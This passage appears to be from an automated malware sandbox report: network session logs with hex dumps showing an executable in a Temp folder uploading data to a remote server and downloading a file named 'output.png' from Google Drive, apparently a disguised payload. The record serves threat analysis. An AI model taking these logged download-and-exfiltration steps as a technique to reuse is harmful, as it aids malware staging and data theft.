                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: cf 90 36 c8 3e 83 e1 18 19 dd fe 13 61 f4 5a d7 47 66 3b 19 44 01 50 5e 3a 5e 5e 6e e0 15 07 f0 c1 0b da f5 e1 d2 8e 7e 9c a9 8c cb 80 d0 ef 17 9c ee 66 fc 59 b7 bd ae dd a8 78 3d 43 85 2b 73 8e a4 bf 65 6f b9 a8 75 95 c6 0d fe 10 2c ba d5 ca e5 3b c7 d6 8e 99 43 52 32 2b 55 36 ed d9 e9 93 b6 de 57 81 3e 2d fd 68 46 6b 68 3e 4d 9d 9b 10 bc 2b 7d ca 06 8e 83 ff a6 f4 7f eb 19 bc 69 08 08 05 50 0f 5e d2 d8 86 23 1c ec fc 6d 6d fc 03 3d 3b 68 e3 75 41 d0 d6 d8 49 4e 15 f3 e0 0e f2 b1 fc 2e 36 a7 d7 58 20 46 29 73 f0 bd 1c d0 3a 42 bb fe 39 2d 57 b1 e5 76 80 f6 e3 f0 cf 77 8c 6f 69 81 e9 92 a8 06 44 a5 f7 89 23 41 98 28 6b 01 70 0b 85 e6 5d 3a e5 4c 98 14 1d 76 95 92 d9 55 97 ef d5 2d f5 37 c9 53 6a 4c d0 a4 0c 03 09 d7 1b 80 1d e3 de d4 ef 00 79 c2 11 f6 a2
                                                                                                                                                                                                                                                                                  Data Ascii: 6>aZGf;DP^:^^n~fYx=C+seou,;CR2+U6W>-hFkh>M+}iP^#mm=;huAIN.6X F)s:B9-WvwoiD#A(kp]:LvU-7SjLy
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 7d d6 17 f0 54 44 a9 4b 05 42 63 cf 3b 56 bd 2c ee b0 21 5c df 42 dc 73 90 3b e6 0b ea d5 19 7d 0b 31 eb 61 30 0d 0e bd b0 18 ae d2 07 1f 96 6d 99 a0 52 b1 b3 fe 34 54 18 0e 92 44 9d 5f ad d4 39 12 26 b3 35 1a 58 36 c0 ad d1 1d 49 24 74 b4 21 2e f5 16 fa f1 5d 14 02 49 6d 26 8d b7 d7 8d 9d 9a 02 53 65 f6 14 a3 cc ee 59 08 6f 48 ac ee 95 7e 57 40 f4 12 15 d6 b2 ea 0b 8b 0a 9b c4 bd 33 6f c3 1c 71 d3 ba 82 39 0f c5 2e 5e 71 89 30 e6 55 e9 77 b3 f4 32 1d cd 25 f8 73 fb 61 84 c7 74 72 3c a3 bb 7e b3 76 ef 04 cf b1 2b a6 c2 a8 50 ea fa cc 10 7d 37 ac 34 cb ab 53 8a 2d 4b 9f 76 d3 ce 00 38 2a cc 6c cd 1b be ae 37 91 1d 10 bf 69 a5 db 9e cd 90 e2 5c 35 a0 5e 6b 23 74 f5 b0 3d 8e 62 75 15 2e ab ea 81 4b da 85 69 83 c9 aa e3 4c fd f1 f5 33 51 a1 01 22 03 42 c9 4a
                                                                                                                                                                                                                                                                                  Data Ascii: }TDKBc;V,!\Bs;}1a0mR4TD_9&5X6I$t!.]Im&SeYoH~W@3oq9.^q0Uw2%satr<~v+P}74S-Kv8*l7i\5^k#t=bu.KiL3Q"BJ
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 38 22 07 de c9 e8 21 c1 d3 3e d1 74 f3 90 1f db 2d fb 93 4d ae 6e fd 78 26 ac 01 4e ae db a9 f3 7f 06 38 ae 56 c2 12 71 85 bc 40 67 ed b6 d7 ad bb ce 47 a9 3f 90 68 bf da 5b ef 92 e4 c0 6f b9 53 ba b8 e7 75 e2 10 8e ab 12 50 25 7d f3 a3 4a c2 5b 0c d1 b6 06 85 1d 54 de 8d 3e b6 d7 08 76 84 64 ab c0 e1 fa eb 69 61 6e 2a 8d bb 4d 78 4f 8f be eb c4 e7 45 0d c5 cc 5f 35 4b eb 10 bf 45 14 fa ec 40 ed 4a 0e 1d b8 23 b7 61 7f 6d ed a3 08 9e fb 82 2e 4a c3 18 1e 12 54 52 4c b0 cc 16 7c 7d 54 eb 53 f4 9b 4d f6 91 62 0f 28 db c9 4b 5d da 8b 4a 71 c1 ce 8d 17 0b df 75 6e 8e e4 65 61 38 6e 66 d2 d3 18 08 37 e7 da 8c 1d 5f 7b 5b 13 7d 04 ab df ca ed 74 32 50 5c ab 8d 23 55 f1 e1 13 83 35 f4 da c4 e6 68 84 61 93 bf 59 04 ef ea 8a 7c 4c 64 8f 7c 5e 58 13 cb bf 3c cb d4
                                                                                                                                                                                                                                                                                  Data Ascii: 8"!>t-Mnx&N8Vq@gG?h[oSuP%}J[T>vdian*MxOE_5KE@J#am.JTRL|}TSMb(K]Jqunea8nf7_{[}t2P\#U5haY|Ld|^X<
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:47 UTC1133INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:47 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=dipd1i74ieq7o9q9juv9ealo1b; expires=Wed, 16 Apr 2025 05:02:26 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Am0Jy6KK7tlopNCqz90pG7J5Df1i5v7iiSKO9GXE1eaopw9v7U1%2Bucb4L6c7jZnGwjM6wDbFyeHyH3vEoLJgNyteU8xMYgQ9lltK1dZGp1%2FFCU4IZyZL35dYiwKMoc4Zr9CVqfw%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f5774bdc8430f6f-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1459&min_rtt=1453&rtt_var=558&sent=198&recv=584&lost=0&retrans=0&sent_bytes=2843&recv_bytes=570768&delivery_rate=1937624&cwnd=209&unsent_bytes=0&cid=2ae2960fc173e120&ts=2970&x=0"


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  8192.168.2.449852172.217.17.464438184C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:45 UTC150OUTGET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: FileDownloader
                                                                                                                                                                                                                                                                                  Host: drive.google.com
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:46 UTC1319INHTTP/1.1 303 See Other
                                                                                                                                                                                                                                                                                  Content-Type: application/binary
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:45 GMT
                                                                                                                                                                                                                                                                                  Location: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
                                                                                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000
                                                                                                                                                                                                                                                                                  Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                                                                                  Content-Security-Policy: script-src 'report-sample' 'nonce-A8N6kt3TA5FLZoMBrX7CLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                                                                                                                                                                                                                                                  Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                                                                                                                                                                                                                                                  Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                                                                                                                                                                                                                                  Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                                                                  Server: ESF
                                                                                                                                                                                                                                                                                  Content-Length: 0
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 0
                                                                                                                                                                                                                                                                                  X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  9192.168.2.449858172.217.17.654433248C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:46 UTC192OUTGET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: FileDownloader
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Host: drive.usercontent.google.com
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC4912INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  X-GUploader-UploadID: AFiumC6xQNsCdF9jEooeL029_50mBg0peo5dKWjmtTQi01JpfqEbhM_P2RPcCY7eE0QdZg1B
                                                                                                                                                                                                                                                                                  Content-Type: image/png
                                                                                                                                                                                                                                                                                  Content-Security-Policy: sandbox
                                                                                                                                                                                                                                                                                  Content-Security-Policy: default-src 'none'
                                                                                                                                                                                                                                                                                  Content-Security-Policy: frame-ancestors 'none'
                                                                                                                                                                                                                                                                                  X-Content-Security-Policy: sandbox
                                                                                                                                                                                                                                                                                  Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                                                                  Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                                                                  Cross-Origin-Resource-Policy: same-site
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  Content-Disposition: attachment; filename="output.png"
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Credentials: false
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED]
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Content-Length: 156917
                                                                                                                                                                                                                                                                                  Last-Modified: Mon, 11 Nov 2024 02:30:33 GMT
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:48 GMT
                                                                                                                                                                                                                                                                                  Expires: Sat, 21 Dec 2024 11:15:48 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: private, max-age=0
                                                                                                                                                                                                                                                                                  X-Goog-Hash: crc32c=h6mvlQ==
                                                                                                                                                                                                                                                                                  Server: UploadServer
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC4912INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b6 00 00 01 b6 08 06 00 00 00 13 09 a3 70 00 00 80 00 49 44 41 54 78 9c ec dd 07 7c 14 65 fa 07 f0 df 33 9b 0a 09 bd 9d 15 44 20 64 77 36 80 d8 d0 53 9a dc 59 00 5b d6 ce a9 e7 e9 9d 05 b0 23 2a 4c c0 82 67 c5 72 96 bb bf 9e e8 a9 24 58 41 3d 95 66 c3 16 85 ec ec 12 8a 8a 9e 05 0b 9d 00 29 bb f3 fc 3f bb 49 ee 28 d9 64 76 b3 33 ef 6c f6 fd 7e 3e 7e 3e b2 bb 33 ef 93 64 77 9f 79 cb 3c 6f 06 24 49 b2 ce a8 d3 ba 82 c2 c7 2b 8c 61 0c 14 02 74 08 08 3d c0 68 0f 80 40 a8 02 d3 06 10 af 23 c6 2a 03 fc 11 80 25 58 f4 da cf a2 43 97 a4 54 45 a2 03 90 a4 36 67 cc 98 f6 08 e5 fa 88 30 01 c0 71 00 94 04 ce f2 11 13 3d 03 64 3e 87 85 65 5b 2d 88 52 92 da 2c 99 d8 24 29 59 4e 3c b1 03 ea 32 27 12 d3 24 00 dd 92
                                                                                                                                                                                                                                                                                  Data Ascii: PNGIHDRpIDATx|e3D dw6SY[#*Lgr$XA=f)?I(dv3l~>~>3dwy<o$I+at=h@#*%XCTE6g0q=d>e[-R,$)YN<2'$
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC4871INData Raw: 48 52 6b b8 8f 6d b0 aa aa 13 4c 25 b5 58 26 5c bf 63 68 76 d7 cd 7b 27 b5 86 36 04 d4 e8 92 a4 ff 71 b9 5c 31 df 83 59 59 59 09 ed b7 e6 76 bb ab 54 55 d5 5c 2e 97 4a f1 d7 58 ed 07 60 7e 43 79 ae c2 44 da 97 12 27 13 9b 43 31 33 05 02 81 09 86 61 7c 19 b9 02 8c e3 8a b1 d1 97 cc ec f3 7a bd a3 54 55 4d ca 0e c1 2e 97 ab c9 2f 08 22 11 c5 27 25 e9 7f 9a 9b 63 ab ae ae 6e d5 46 a2 85 85 85 6b 3d 1e 8f cf 30 8c d1 09 ec 8e d1 58 9e 6b 76 79 79 79 c7 d6 c4 21 99 27 13 9b 03 05 02 81 c3 03 81 c0 32 66 7e 3a c1 31 fe 92 9c 9c 1c 8f d7 eb 4d 6a 25 ff 70 38 dc e4 17 84 ec b1 49 a2 35 d7 63 cb cd cd 4d ca 0e d9 45 45 45 8b 36 6c d8 30 84 99 2f 03 f0 6b 1c 87 66 02 98 98 9d 9d fd 95 ae eb 93 4a 4b 4b e5 e7 c5 62 32 b1 39 c8 aa 55 ab f6 6b 28 83 f5 09 80 a3 e2 3c
                                                                                                                                                                                                                                                                                  Data Ascii: HRkmL%X&\chv{'6q\1YYYvTU\.JX`~CyD'C13a|zTUM./"'%cnFk=0Xkvyyy!'2f~:1Mj%p8I5cMEEE6l0/kfJKKb29Uk(<
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1325INData Raw: 53 a2 8c 51 20 10 18 bb 71 7b d5 a3 7f 7f 7b e9 fe cf bf ff 31 0c 13 c3 93 5d 3b e4 1b 63 06 b9 9f ef cf 35 17 6a 9a e6 8c 25 e4 a3 c6 17 82 30 48 61 2e 00 63 00 13 f6 03 a8 3d c0 1d 81 68 45 ff 1a 10 aa 86 f4 39 b8 5f df 5e 3d 3a 1c dc a3 1b 0e e9 d9 1d 45 bd 0f 42 7e 6e 4e a4 c7 36 d3 e3 f1 d8 ba 22 4f b8 52 2d 0b c0 53 00 9d 2b a0 f5 1d 60 f6 e1 2c ed 0d 01 6d ff 57 ea 24 b6 46 a5 33 fb 80 8d 1b 41 f8 03 80 9c 24 9c 31 08 c2 9d e0 81 2f a4 fb cd d7 66 04 02 81 a7 98 f9 c2 bd 1f 67 e6 81 5e af d7 f6 b1 f4 78 24 38 ec b8 25 72 2d bc 61 c3 86 47 46 8c 18 e1 8c 2f 7b 93 2a 2a 2a da 2b 8a 72 7d e0 bb 1f a6 ce 7a 71 41 a6 ff 1b 73 53 a0 9e 83 f6 af 3a a1 c8 f3 97 fb 26 5f fe ac e5 41 ee 6d ec d8 76 d8 49 a7 29 84 93 99 69 04 80 5e 89 9c 46 21 c2 c0 03 f6 43
                                                                                                                                                                                                                                                                                  Data Ascii: SQ q{{1];c5j%0Ha.c=hE9_^=:EB~nN6"OR-S+`,mW$F3A$1/fg^x$8%r-aGF/{***+r}zqAsS:&_AmvI)i^F!C
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: 31 5f 38 fa d4 e1 44 ca 62 27 27 35 d4 6f 18 76 3e 6d aa 7b 13 27 9e d8 41 74 2c 52 eb a4 65 62 4b ab 6a 04 49 16 eb a2 40 51 14 5b 13 5b 45 45 c5 90 40 20 b0 ac 61 4b 19 b3 73 69 5f 30 73 a4 67 39 21 5d e6 d2 e2 e1 76 bb bf 54 55 f5 94 11 ea c0 71 2f df 34 e9 1b 33 7b bf ed aa ad c5 cb 1f 97 7b a7 fc df f3 df 4c 7b ec c9 07 96 2c 59 b2 67 f1 84 d1 e3 4e 26 e6 7f 03 e8 68 71 f8 49 c2 23 a9 36 eb 1d 99 dc 52 5b 5a 26 36 d9 63 4b 9c e8 1e 9b df ef ef ac eb fa 6c 45 51 3e 8d 63 2e 6d 33 80 c9 95 95 95 47 78 bd de 8f 2c 0e 31 e5 79 3c 9e f9 a1 ea ea c2 cb 7f 3f b2 64 de f5 57 d4 1c ef 1e d0 e2 31 5f ae ff d9 75 db bc d7 26 dd 31 ff ed 5f 1e 2d 7b e9 94 e8 83 23 c6 1f 49 4c 73 01 a4 da 3e 70 47 50 6d d6 ab 38 f1 c4 54 8b 5b 6a 60 45 69 2a c7 93 3d b6 c4 45 2e
                                                                                                                                                                                                                                                                                  Data Ascii: 1_8Db''5ov>m{'At,RebKjI@Q[[EE@ aKsi_0sg9!]vTUq/43{{L{,YgN&hqI#6R[Z&6cKlEQ>c.m3Gx,1y<?dW1_u&1_-{#ILs>pGPm8T[j`Ei*=E.
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: fd c1 ed 76 1f 2f 93 5a ea 61 d0 6f 45 c7 20 04 e3 38 d1 21 48 b1 a5 65 62 4b eb ca 23 44 97 88 f8 bb bf ba f5 3f 30 f6 dc ee 26 c4 cc f7 e7 e4 e4 0c f0 78 3c 73 88 28 0d 2f fc 53 5c fd ea c0 be a2 c3 10 41 01 62 de ce 22 89 97 96 43 91 69 dd 63 63 9c 26 a2 d9 f5 75 3b b1 b2 7a 0b 3c b9 9d 23 ff 5c 6a 18 c6 55 45 45 45 01 11 b1 48 49 b2 a1 ba 1f 6c de 39 dd 29 98 94 96 77 5f 95 84 49 cb c4 96 b6 3d b6 17 6f 3b 18 e1 70 6f 51 cd 2f db f9 f3 36 b5 5d 97 ab dc 6e f7 33 b2 87 d6 06 b8 70 68 fa 6e c1 c9 fd 44 47 20 c5 96 96 43 91 69 db 63 0b 87 3d 22 9b 7f fc d7 55 af cb 61 c7 36 c4 50 ba 88 0e 41 a0 74 fe d9 1d 2f 2d 13 5b da f6 d8 80 83 44 36 5e cb c6 7e 22 db 97 92 8c 90 2f 3a 04 81 da a1 b8 38 2d 87 61 53 41 5a 26 b6 b4 ed b1 11 89 fe 22 6a 7d 2d 4a c9 49
                                                                                                                                                                                                                                                                                  Data Ascii: v/ZaoE 8!HebK#D?0&x<s(/S\Ab"Cicc&u;z<#\jUEEEHIl9)w_I=o;poQ/6]n3phnDG Cic="Ua6PAt/-[D6^~"/:8-aSAZ&"j}-JI
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: d7 50 8e ca 11 fc 7e ff 68 8a f4 2a e3 1f 92 dd c0 cc f7 b8 5c ae fb dd 6e 77 6d b3 af 9c 37 b3 1f 98 4f 06 f3 71 00 0a 33 48 39 28 c4 46 6e b6 e2 42 47 25 13 bd b3 f3 a1 e6 74 46 2e 65 dc f9 f0 7b c1 5b ea 6f d6 8d 4f 30 18 1c 69 18 c6 7d 00 8a 4c bc 3c 72 fe 7f 19 86 71 9d 9c 7f 73 a8 91 a7 5e 40 c4 73 44 87 61 85 1e 9d 3a 18 af dd 34 59 d9 ab b7 d6 94 85 8a a2 5c ef 76 bb 57 d8 13 99 35 64 62 4b a6 25 5a 06 36 d0 6d 60 dc e0 b0 d8 be 03 f1 d9 a2 7b 6f c1 60 f0 08 c3 30 ee 02 30 3c ce 43 77 12 d1 43 d9 d9 d9 77 f4 eb d7 2f a1 aa 23 81 40 60 02 33 3f dd c4 53 13 54 55 7d 26 91 73 62 cf f9 b7 bf 02 e8 69 e2 90 2d cc 3c ab ad ce 6d a4 ba 4e e3 ce 29 df ba 63 e7 61 a2 e3 48 b6 03 ba 77 bd e8 cd 5b ae 29 60 e6 ab 4d 8c 20 19 44 f4 62 38 1c be b1 a8 a8 28 25
                                                                                                                                                                                                                                                                                  Data Ascii: P~h*\nwm7Oq3H9(FnBG%tF.e{[oO0i}L<rqs^@sDa:4Y\vW5dbK%Z6m`{o`00<CwCw/#@`3?STU}&sbi-<mN)caHw[)`M Db8(%
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: 61 21 11 5d e7 f1 78 2a 12 0b 33 71 4e 4a 6c d8 f3 fe b7 bb 00 34 b9 2f ce 5e 22 1f c6 7b f2 f2 f2 66 f5 e9 d3 a7 3a e9 01 cd d3 0a 60 28 8f 00 3c 32 e9 e7 ae f7 31 14 ba dc 8e 1e 1c 33 93 ae eb 67 2a 8a f2 57 66 ee 6d e2 90 3a 00 8f d6 d4 d4 4c 8b 39 7a 70 e2 89 1d a8 2e eb 19 30 c6 25 3d e0 e4 d8 c9 e0 cb b0 e8 b5 a4 57 ee 0f 04 02 87 37 bc 4f cd 5c ec 54 01 b8 77 fb f6 ed 77 0d 1b 36 6c 57 b2 63 31 4b 26 b6 78 2c d1 32 f0 2b 95 9b ac 34 91 5a 18 e7 c6 aa 91 88 fa f9 89 bc 70 38 7c 05 11 45 7a aa f9 71 9e fd f3 86 1e 87 b0 72 3d 4e 4b 6c 8d 12 98 7f fb 8e 88 6e 71 bb dd cf 50 32 7a 40 d1 32 64 33 af 07 f3 4c 1b 4a bf 85 41 7c 17 ba 61 3a 46 68 21 2b 1a 68 28 02 70 3f 80 61 26 0f 59 00 60 b2 aa aa 5f 99 78 2d 61 d4 b8 89 04 fa ab a0 32 79 4d 63 ac 62 05
                                                                                                                                                                                                                                                                                  Data Ascii: a!]x*3qNJl4/^"{f:`(<213g*Wfm:L9zp.0%=W7O\Tww6lWc1K&x,2+4Zp8|Ezqr=NKlnqP2z@2d3LJA|a:Fh!+h(p?a&Y`_x-a2yMcb
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: 0c 06 b3 0c c3 f8 4b c3 76 40 66 4a 3c 59 33 8f 66 b1 55 ab 56 ed b7 69 db f6 1f 8e b9 e9 b6 7d 9e cb ca 70 7d 53 f3 d6 4b 29 57 d2 0b 7b ee 92 3f cb 64 e9 c1 55 0d c3 93 ff db 19 bf 74 c6 61 00 47 7a dc ed 2c 0e f7 13 6c ee f5 5b 5c 76 59 9d c5 ed 98 62 fd 4d d2 75 a1 51 e9 94 d4 22 96 55 35 b9 0a 7b 33 33 4f d9 be 7d 7b 7f af d7 fb 44 2a 25 b5 b6 24 f2 81 f7 7a bd 65 35 35 35 85 91 bf 47 c3 0d b1 cd 69 0f 60 7a be c2 6b 1c 9c d4 10 fd e2 0a 85 fe 5b b7 34 10 08 8c 35 0c a3 12 c0 03 26 93 da 02 c3 30 0a 54 55 9d 94 4a 49 ad 25 6c 38 6e 6f 47 d3 88 c8 88 bc 57 15 45 19 c8 cc 97 01 f8 b5 85 43 0a 88 a8 34 10 08 2c ab a8 a8 f8 2d 4a ef cb 05 b8 d4 86 a4 16 71 24 3a fd 74 8d 0d ed 98 62 7d 62 53 8c 64 95 16 4a 19 eb 6a b7 e3 97 d0 7f 17 d7 d5 11 d1 13 91 2f
                                                                                                                                                                                                                                                                                  Data Ascii: Kv@fJ<Y3fUVi}p}SK)W{?dUtaGz,l[\vYbMuQ"U5{33O}{D*%$ze555Gi`zk[45&0TUJI%l8noGWEC4,-Jq$:tb}bSdJj/
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: 6b 8d ec b9 9a a1 e8 d6 fb e9 e2 5b f8 a6 a7 65 25 f5 36 c9 37 65 2b 88 e7 8b 0e c3 3c 7a 17 be 5b e5 fc 5a 23 4a e3 1e 5b 23 9f 36 1d e0 87 2d 3a fb 66 80 4f c6 99 b7 ae b5 e8 fc 09 b1 e7 8f ce c6 4b f5 bf 80 74 40 4f 82 c8 8e ae bf 64 17 c6 bd a2 43 30 8d f9 3e d1 21 38 4c fa ce b1 ed ce a7 5d 05 a6 9b 93 3c 2d f4 15 14 fa 2d 7c da a7 49 3c 67 52 d8 93 d8 7c 5a 15 08 56 5d 31 38 c9 0e 84 8c bf 89 0e 42 4a b2 e8 07 37 25 e6 da 56 c0 37 6d 81 e8 20 1c 25 cd b6 ad 69 d6 59 d3 ee 00 f1 68 00 5f b6 f2 4c 0c c6 53 a8 e5 21 38 73 5a 30 49 d1 25 95 7d dd 74 e6 07 c4 dc 57 61 a3 48 f2 3e 57 13 b9 75 ad 64 15 c3 b8 1a 80 c3 57 1a f2 b5 72 b4 60 4f 9c 26 1b 8d 9a 56 ac 2d c5 0e 56 c1 b8 06 c0 0f f1 1c 1a b9 42 c8 20 d7 3b 30 78 18 ce 9a 7e 31 ce d7 1c 5b 0f d7 be
                                                                                                                                                                                                                                                                                  Data Ascii: k[e%67e+<z[Z#J[#6-:fOKt@OdC0>!8L]<--|I<gR|ZV]18BJ7%V7m %iYh_LS!8sZ0I%}tWaH>WudWr`O&V-VB ;0x~1[
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:48 UTC1390INData Raw: 59 d3 1b 5a 86 bb fe b5 84 10 b1 ac aa 52 ee d8 e2 4c f4 25 b6 9f 3b 3e b5 7a c9 cf db 1a 7d a2 aa 5f 02 b8 a4 91 33 f8 d1 4b af 59 6f 5c 80 42 08 53 25 27 c9 1d 5b 9c 89 fe c4 26 c2 e7 83 89 6d 91 58 75 29 98 2e fc e3 77 05 03 bb da 5a c1 4a 0a da 58 12 71 8e 2d 1d 99 49 6d 71 76 62 9a d9 51 8a 78 33 60 e8 79 00 2e 86 82 6e 0a 73 87 4b 1e 71 b6 fe 5d 2f 47 d3 c7 fb 6a 25 b1 c5 19 49 6c e2 a7 16 bc 6a c3 d1 c3 7f 04 f1 dd 40 75 5f 30 d5 95 71 5c 15 07 eb fe f9 b9 54 8b f5 65 e4 8c eb 06 9f e5 1f f8 c3 98 9d 66 84 2c e2 c0 95 43 4e 57 34 ba 97 81 3f 02 7c 5e dd d7 f8 78 3b a0 d2 63 15 f8 78 c5 d7 4d 9f 5b 5d 25 a5 c8 38 23 bf 70 71 1c 33 21 67 dc 9f 51 76 e8 3b 10 ff 0b c0 65 7a de 1f e5 be da 0e 00 46 c3 e2 fb 06 1f 3b 5f 47 8e 33 12 16 d5 8b 58 31 68 58
                                                                                                                                                                                                                                                                                  Data Ascii: YZRL%;>z}_3KYo\BS%'[&mXu).wZJXq-ImqvbQx3`y.nsKq]/Gj%Ilj@u_0q\Tef,CNW4?|^x;cxM[]%8#pq3!gQv;ezF;_G3X1hX


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  10192.168.2.449862172.217.17.654438184C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:47 UTC192OUTGET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: FileDownloader
